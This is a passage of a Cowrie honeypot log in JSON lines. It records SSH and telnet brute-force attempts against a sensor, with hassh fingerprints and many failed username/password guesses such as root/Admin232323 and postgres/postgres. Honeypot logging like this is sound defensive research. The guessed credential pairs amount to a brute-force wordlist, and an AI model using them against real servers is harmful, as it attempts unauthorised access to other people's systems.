0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:51.891888Z","src_ip":"91.92.40.171","session":"1bc5b97c6d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:53.328820Z","src_ip":"91.92.40.171","session":"adc2a3fad189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:54.536710Z","src_ip":"91.92.40.171","session":"adc2a3fad189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin232323","message":"login attempt [root/Admin232323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:54.889574Z","src_ip":"27.71.230.31","session":"4fefa9dda067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52680,"dst_ip":"159.203.135.109","dst_port":22,"session":"81d560698024","protocol":"ssh","message":"New connection: 91.92.42.133:52680 (159.203.135.109:22) [session: 81d560698024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:55.271529Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46288,"dst_ip":"10.17.0.5","dst_port":23,"session":"1377ee60da08","protocol":"telnet","message":"New connection: 172.81.62.90:46288 (10.17.0.5:23) [session: 1377ee60da08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:55.593896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:55.769514Z","src_ip":"91.92.42.133","session":"81d560698024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:55.773023Z","src_ip":"91.92.42.133","session":"81d560698024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:56.323786Z","src_ip":"27.71.230.31","session":"4fefa9dda067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxuser","password":"1","message":"login attempt [linuxuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:56.503687Z","src_ip":"91.92.42.133","session":"81d560698024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:57.616969Z","src_ip":"91.92.42.133","session":"81d560698024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44532,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5985ee8bdd","protocol":"ssh","message":"New connection: 91.92.40.171:44532 (159.203.135.109:22) [session: 1b5985ee8bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:57.753275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:57.905743Z","src_ip":"91.92.40.171","session":"1b5985ee8bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:57.911208Z","src_ip":"91.92.40.171","session":"1b5985ee8bdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:58.008617Z","src_ip":"91.92.40.171","session":"1bc5b97c6d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:58.717708Z","src_ip":"91.92.40.171","session":"1b5985ee8bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:59.856034Z","src_ip":"91.92.40.171","session":"1b5985ee8bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:00.170148Z","src_ip":"91.92.40.171","session":"1bc5b97c6d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52708,"dst_ip":"159.203.135.109","dst_port":22,"session":"f48b014391fa","protocol":"ssh","message":"New connection: 91.92.42.133:52708 (159.203.135.109:22) [session: f48b014391fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:03.514760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:03.540805Z","src_ip":"91.92.42.133","session":"f48b014391fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:03.665520Z","src_ip":"91.92.42.133","session":"f48b014391fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:03.981618Z","src_ip":"91.92.42.133","session":"f48b014391fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:05.128546Z","src_ip":"91.92.42.133","session":"f48b014391fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44582,"dst_ip":"159.203.135.109","dst_port":22,"session":"43aa203cf83d","protocol":"ssh","message":"New connection: 91.92.40.171:44582 (159.203.135.109:22) [session: 43aa203cf83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:05.441928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:05.446236Z","src_ip":"91.92.40.171","session":"43aa203cf83d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:06.129961Z","src_ip":"91.92.40.171","session":"43aa203cf83d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34866,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc373a968a25","protocol":"ssh","message":"New connection: 91.92.42.133:34866 (159.203.135.109:22) [session: dc373a968a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:10.546071Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:10.695706Z","src_ip":"91.92.40.171","session":"43aa203cf83d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:10.848633Z","src_ip":"91.92.42.133","session":"dc373a968a25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:10.852356Z","src_ip":"91.92.42.133","session":"dc373a968a25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50748,"dst_ip":"159.203.135.109","dst_port":22,"session":"81adefcbff74","protocol":"ssh","message":"New connection: 91.92.40.171:50748 (159.203.135.109:22) [session: 81adefcbff74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:11.465735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:11.478739Z","src_ip":"91.92.40.171","session":"81adefcbff74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:11.847218Z","src_ip":"91.92.42.133","session":"dc373a968a25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:12.588592Z","src_ip":"91.92.40.171","session":"81adefcbff74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:12.942517Z","src_ip":"91.92.40.171","session":"43aa203cf83d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:13.218154Z","src_ip":"91.92.42.133","session":"dc373a968a25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33220,"dst_ip":"159.203.135.109","dst_port":22,"session":"34f199396536","protocol":"ssh","message":"New connection: 91.92.40.171:33220 (159.203.135.109:22) [session: 34f199396536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:15.243183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:15.273511Z","src_ip":"91.92.40.171","session":"34f199396536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:15.365405Z","src_ip":"91.92.40.171","session":"34f199396536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:15.862027Z","src_ip":"91.92.40.171","session":"34f199396536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:16.971203Z","src_ip":"91.92.40.171","session":"34f199396536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:17.908892Z","src_ip":"91.92.40.171","session":"81adefcbff74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57462,"dst_ip":"159.203.135.109","dst_port":22,"session":"03028a7673df","protocol":"ssh","message":"New connection: 91.92.42.133:57462 (159.203.135.109:22) [session: 03028a7673df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:18.858087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:18.896544Z","src_ip":"91.92.42.133","session":"03028a7673df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:19.009177Z","src_ip":"91.92.42.133","session":"03028a7673df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:19.479395Z","src_ip":"91.92.42.133","session":"03028a7673df","protocol":"ssh"}
